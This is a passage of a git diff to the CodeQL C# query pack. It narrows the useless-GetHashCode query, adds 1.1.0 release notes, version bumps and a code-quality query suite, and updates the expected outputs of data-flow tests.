       bs.getNumberOfStmts() = 1 and
       emptyStmt(bs.getStmt(0))
diff --git a/csharp/ql/src/Useless code/IntGetHashCode.ql b/csharp/ql/src/Useless code/IntGetHashCode.ql
index c7892fffc650..85d0f56aae0e 100644
--- a/csharp/ql/src/Useless code/IntGetHashCode.ql	
+++ b/csharp/ql/src/Useless code/IntGetHashCode.ql	
@@ -16,5 +16,12 @@ import semmle.code.csharp.frameworks.System
 from MethodCall mc, IntegralType t
 where
   mc.getTarget() instanceof GetHashCodeMethod and
-  t = mc.getQualifier().getType()
+  t = mc.getQualifier().getType() and
+  (
+    t instanceof ByteType or
+    t instanceof SByteType or
+    t instanceof ShortType or
+    t instanceof UShortType or
+    t instanceof IntType
+  )
 select mc, "Calling GetHashCode() on type " + t.toStringWithTypes() + " is redundant."
diff --git a/csharp/ql/src/change-notes/released/1.1.0.md b/csharp/ql/src/change-notes/released/1.1.0.md
new file mode 100644
index 000000000000..e3bffce48a5f
--- /dev/null
+++ b/csharp/ql/src/change-notes/released/1.1.0.md
@@ -0,0 +1,14 @@
+## 1.1.0
+
+### New Queries
+
+* Added a new query, `csharp/path-combine`, to recommend against the `Path.Combine` method due to it silently discarding its earlier parameters if later parameters are rooted.
+
+### Minor Analysis Improvements
+
+* Improved dependency resolution in `build-mode: none` extraction to handle failing `dotnet restore` processes that managed to download a subset of the dependencies before the failure.
+* Increase query precision for `cs/useless-gethashcode-call` by not flagging calls to `GetHashCode` on `uint`, `long` and `ulong`.
+* Increase query precision for `cs/constant-condition` and allow the use of discards in switch/case statements and also take the condition (if any) into account.
+* The `cs/local-not-disposed` query no longer flags un-disposed tasks as this is often not needed (explained [here](https://devblogs.microsoft.com/pfxteam/do-i-need-to-dispose-of-tasks/)).
+* Increase query precision for `cs/useless-assignment-to-local` and `cs/constant-condition` when *unknown* types are involved (mostly relevant for `build-mode: none` databases).
+* Don't consider an if-statement to be *useless* in `cs/useless-if-statement` if there is at least a comment.
diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml
index e15e0d267b0a..2ac15439f561 100644
--- a/csharp/ql/src/codeql-pack.release.yml
+++ b/csharp/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.1.0
diff --git a/csharp/ql/src/codeql-suites/csharp-ccr.qls b/csharp/ql/src/codeql-suites/csharp-ccr.qls
deleted file mode 100644
index 87941ca02ed9..000000000000
--- a/csharp/ql/src/codeql-suites/csharp-ccr.qls
+++ /dev/null
@@ -1,9 +0,0 @@
-- queries: .
-- include:
-    id:
-      - cs/index-out-of-bounds
-      - cs/test-for-negative-container-size
-      - cs/unchecked-cast-in-equals
-      - cs/reference-equality-on-valuetypes
-      - cs/self-assignment
-      - cs/inefficient-containskey
diff --git a/csharp/ql/src/codeql-suites/csharp-code-quality.qls b/csharp/ql/src/codeql-suites/csharp-code-quality.qls
new file mode 100644
index 000000000000..b7b533773810
--- /dev/null
+++ b/csharp/ql/src/codeql-suites/csharp-code-quality.qls
@@ -0,0 +1,14 @@
+- queries: .
+- include:
+    id:
+      - cs/index-out-of-bounds
+      - cs/test-for-negative-container-size
+      - cs/unchecked-cast-in-equals
+      - cs/reference-equality-on-valuetypes
+      - cs/self-assignment
+      - cs/inefficient-containskey
+      - cs/call-to-object-tostring
+      - cs/local-not-disposed
+      - cs/constant-condition
+      - cs/useless-gethashcode-call
+      - cs/non-short-circuit
diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml
index 39c9ff569f6f..d669f267976f 100644
--- a/csharp/ql/src/qlpack.yml
+++ b/csharp/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/csharp-queries
-version: 1.0.19
+version: 1.1.0
 groups:
   - csharp
   - queries
diff --git a/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll
index 108c3f84d2c2..125204d7c5bd 100644
--- a/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll
+++ b/csharp/ql/src/utils/modelgenerator/internal/CaptureModels.qll
@@ -233,6 +233,10 @@ module ModelGeneratorInput implements ModelGeneratorInputSig<Location, CsharpDat
     result = ParamReturnNodeAsOutput<parameterContentAccess/1>::paramReturnNodeAsOutput(c, pos)
   }
 
+  ParameterPosition getReturnKindParamPosition(ReturnKind kind) {
+    kind.(OutRefReturnKind).getPosition() = result.getPosition()
+  }
+
   Callable returnNodeEnclosingCallable(DataFlow::Node ret) {
     result = DataFlowImplCommon::getNodeEnclosingCallable(ret).asCallable(_)
   }
diff --git a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected
index 4a16e2491dfe..a6ecbc3356da 100644
--- a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected
+++ b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected
@@ -252,7 +252,7 @@
 | CSharp7.cs:233:28:233:29 | access to local variable i1 | CSharp7.cs:235:38:235:39 | access to local variable i1 |
 | CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [false] ... && ... |
 | CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [true] ... && ... |
-| CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
+| CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
 | CSharp7.cs:235:33:235:36 | "int " | CSharp7.cs:235:31:235:41 | $"..." |
 | CSharp7.cs:235:38:235:39 | access to local variable i1 | CSharp7.cs:235:31:235:41 | $"..." |
 | CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:237:23:237:31 | String s1 |
@@ -260,18 +260,17 @@
 | CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:241:18:241:18 | access to local variable o |
 | CSharp7.cs:237:23:237:31 | SSA def(s1) | CSharp7.cs:239:41:239:42 | access to local variable s1 |
 | CSharp7.cs:237:23:237:31 | String s1 | CSharp7.cs:237:23:237:31 | SSA def(s1) |
-| CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
+| CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
 | CSharp7.cs:239:33:239:39 | "string " | CSharp7.cs:239:31:239:44 | $"..." |
 | CSharp7.cs:239:41:239:42 | access to local variable s1 | CSharp7.cs:239:31:239:44 | $"..." |
 | CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) |
 | CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:244:18:244:18 | access to local variable o |
-| CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
+| CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
 | CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) |
 | CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:244:23:244:28 | Object v1 |
 | CSharp7.cs:244:18:244:18 | access to local variable o | CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) |
-| CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
-| CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) |
-| CSharp7.cs:248:9:274:9 | SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
+| CSharp7.cs:244:18:244:28 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
+| CSharp7.cs:245:9:246:9 | [input] SSA phi read(o) | CSharp7.cs:248:17:248:17 | access to local variable o |
 | CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:254:27:254:27 | access to local variable o |
 | CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:257:18:257:23 | Int32 i2 |
 | CSharp7.cs:248:17:248:17 | access to local variable o | CSharp7.cs:260:18:260:23 | Int32 i3 |
@@ -312,10 +311,8 @@
 | CSharp7.cs:285:39:285:42 | access to local variable list | CSharp7.cs:287:36:287:39 | access to local variable list |
 | CSharp7.cs:287:36:287:39 | access to local variable list | CSharp7.cs:289:32:289:35 | access to local variable list |
 | CSharp7.cs:297:18:297:18 | access to local variable x | CSharp7.cs:297:18:297:22 | SSA def(x) |
-| CSharp7.cs:297:18:297:22 | SSA def(x) | CSharp7.cs:297:18:297:22 | [input] SSA phi(x) |
-| CSharp7.cs:297:18:297:22 | [input] SSA phi(x) | CSharp7.cs:297:25:297:25 | SSA phi(x) |
+| CSharp7.cs:297:18:297:22 | SSA def(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
 | CSharp7.cs:297:22:297:22 | 0 | CSharp7.cs:297:18:297:18 | access to local variable x |
-| CSharp7.cs:297:25:297:25 | SSA phi(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
 | CSharp7.cs:297:25:297:25 | access to local variable x | CSharp7.cs:297:25:297:30 | ... < ... |
 | CSharp7.cs:297:25:297:25 | access to local variable x | CSharp7.cs:297:35:297:35 | access to local variable x |
 | CSharp7.cs:297:25:297:30 | ... < ... | CSharp7.cs:297:25:297:44 | [false] ... && ... |
@@ -326,6 +323,5 @@
 | CSharp7.cs:297:35:297:44 | [true] ... is ... | CSharp7.cs:297:25:297:44 | [true] ... && ... |
 | CSharp7.cs:297:40:297:44 | Int32 y | CSharp7.cs:297:40:297:44 | SSA def(y) |
 | CSharp7.cs:297:40:297:44 | SSA def(y) | CSharp7.cs:299:31:299:31 | access to local variable y |
-| CSharp7.cs:297:47:297:49 | SSA def(x) | CSharp7.cs:297:47:297:49 | [input] SSA phi(x) |
-| CSharp7.cs:297:47:297:49 | [input] SSA phi(x) | CSharp7.cs:297:25:297:25 | SSA phi(x) |
+| CSharp7.cs:297:47:297:49 | SSA def(x) | CSharp7.cs:297:25:297:25 | access to local variable x |
 | CSharp7.cs:297:49:297:49 | access to local variable x | CSharp7.cs:297:47:297:49 | SSA def(x) |
diff --git a/csharp/ql/test/library-tests/dataflow/global/DataFlowPath.expected b/csharp/ql/test/library-tests/dataflow/global/DataFlowPath.expected
index c5f00cd656f0..7333890f68fc 100644
--- a/csharp/ql/test/library-tests/dataflow/global/DataFlowPath.expected
+++ b/csharp/ql/test/library-tests/dataflow/global/DataFlowPath.expected
@@ -421,46 +421,40 @@ edges
 | GlobalDataFlow.cs:469:21:469:21 | s : String | GlobalDataFlow.cs:469:32:469:32 | access to parameter s | provenance |  |
 | GlobalDataFlow.cs:470:15:470:17 | access to parameter arg : String | GlobalDataFlow.cs:469:21:469:21 | s : String | provenance |  |
 | GlobalDataFlow.cs:473:28:473:41 | "taint source" : String | GlobalDataFlow.cs:466:53:466:55 | arg : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | GlobalDataFlow.cs:491:15:491:22 | access to field field | provenance |  |
 | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | GlobalDataFlow.cs:492:15:492:22 | access to field field | provenance |  |
-| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | GlobalDataFlow.cs:498:15:498:22 | access to field field | provenance |  |
 | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | GlobalDataFlow.cs:499:15:499:22 | access to field field | provenance |  |
 | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | GlobalDataFlow.cs:500:15:500:22 | access to field field | provenance |  |
-| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance |  |
-| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:509:15:509:21 | access to field field | provenance |  |
+| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | GlobalDataFlow.cs:516:15:516:21 | access to field field | provenance |  |
 | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:517:15:517:21 | access to field field | provenance |  |
-| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance |  |
-| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:531:15:531:21 | access to field field | provenance |  |
 | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | GlobalDataFlow.cs:532:15:532:21 | access to field field | provenance |  |
 | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | GlobalDataFlow.cs:533:15:533:21 | access to field field | provenance |  |
-| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | GlobalDataFlow.cs:539:15:539:22 | access to field field | provenance |  |
-| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
+| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | provenance |  |
 | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | GlobalDataFlow.cs:547:15:547:21 | access to field field | provenance |  |
 | GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | provenance |  |
 | GlobalDataFlow.cs:556:27:556:27 | access to parameter e : null [element] : String | GlobalDataFlow.cs:558:46:558:46 | access to local variable x : String | provenance |  |
@@ -880,43 +874,37 @@ nodes
 | GlobalDataFlow.cs:481:41:481:42 | sc [Return] : SimpleClass [field field] : String | semmle.label | sc [Return] : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:483:9:483:10 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:483:20:483:33 | "taint source" : String | semmle.label | "taint source" : String |
-| GlobalDataFlow.cs:490:25:490:26 | [post] access to local variable x1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x1 : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:490:30:490:31 | [post] access to local variable x2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable x2 : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:490:20:490:31 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:491:15:491:16 | access to local variable x1 : SimpleClass [field field] : String | semmle.label | access to local variable x1 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:491:15:491:22 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:492:15:492:16 | access to local variable x2 : SimpleClass [field field] : String | semmle.label | access to local variable x2 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:492:15:492:22 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:497:31:497:32 | [post] access to local variable y1 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y1 : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:497:36:497:37 | [post] access to local variable y2 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y2 : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:497:42:497:43 | [post] access to local variable y3 : SimpleClass [field field] : String | semmle.label | [post] access to local variable y3 : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:497:20:497:43 | [post] ... ? ... : ... : SimpleClass [field field] : String | semmle.label | [post] ... ? ... : ... : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:498:15:498:16 | access to local variable y1 : SimpleClass [field field] : String | semmle.label | access to local variable y1 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:498:15:498:22 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:499:15:499:16 | access to local variable y2 : SimpleClass [field field] : String | semmle.label | access to local variable y2 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:499:15:499:22 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:500:15:500:16 | access to local variable y3 : SimpleClass [field field] : String | semmle.label | access to local variable y3 : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:500:15:500:22 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:508:33:508:33 | [post] access to local variable x : SubSimpleClass [field field] : String | semmle.label | [post] access to local variable x : SubSimpleClass [field field] : String |
-| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SubSimpleClass [field field] : String | semmle.label | access to local variable x : SubSimpleClass [field field] : String |
+| GlobalDataFlow.cs:508:20:508:33 | [post] (...) ... : SimpleClass [field field] : String | semmle.label | [post] (...) ... : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:509:15:509:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:509:15:509:21 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:515:20:515:20 | [post] access to parameter x : SimpleClass [field field] : String | semmle.label | [post] access to parameter x : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:515:25:515:25 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:515:20:515:25 | [post] ... ?? ... : SimpleClass [field field] : String | semmle.label | [post] ... ?? ... : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:516:15:516:15 | access to parameter x : SimpleClass [field field] : String | semmle.label | access to parameter x : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:516:15:516:21 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:517:15:517:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:517:15:517:21 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:527:20:527:20 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:528:20:528:20 | [post] access to local variable y : SimpleClass [field field] : String | semmle.label | [post] access to local variable y : SimpleClass [field field] : String |
-| GlobalDataFlow.cs:529:18:529:18 | [post] access to local variable z : SimpleClass [field field] : String | semmle.label | [post] access to local variable z : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:525:20:530:9 | [post] ... switch { ... } : SimpleClass [field field] : String | semmle.label | [post] ... switch { ... } : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:531:15:531:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:531:15:531:21 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:532:15:532:15 | access to local variable y : SimpleClass [field field] : String | semmle.label | access to local variable y : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:532:15:532:21 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:533:15:533:15 | access to local variable z : SimpleClass [field field] : String | semmle.label | access to local variable z : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:533:15:533:21 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:538:20:538:21 | [post] access to parameter sc : SimpleClass [field field] : String | semmle.label | [post] access to parameter sc : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:538:20:538:22 | [post] ...! : SimpleClass [field field] : String | semmle.label | [post] ...! : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:539:15:539:16 | access to parameter sc : SimpleClass [field field] : String | semmle.label | access to parameter sc : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:539:15:539:22 | access to field field | semmle.label | access to field field |
-| GlobalDataFlow.cs:546:24:546:24 | [post] access to local variable x : SimpleClass [field field] : String | semmle.label | [post] access to local variable x : SimpleClass [field field] : String |
+| GlobalDataFlow.cs:546:20:546:24 | [post] ... = ... : SimpleClass [field field] : String | semmle.label | [post] ... = ... : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:547:15:547:15 | access to local variable x : SimpleClass [field field] : String | semmle.label | access to local variable x : SimpleClass [field field] : String |
 | GlobalDataFlow.cs:547:15:547:21 | access to field field | semmle.label | access to field field |
 | GlobalDataFlow.cs:553:71:553:71 | e : null [element] : String | semmle.label | e : null [element] : String |
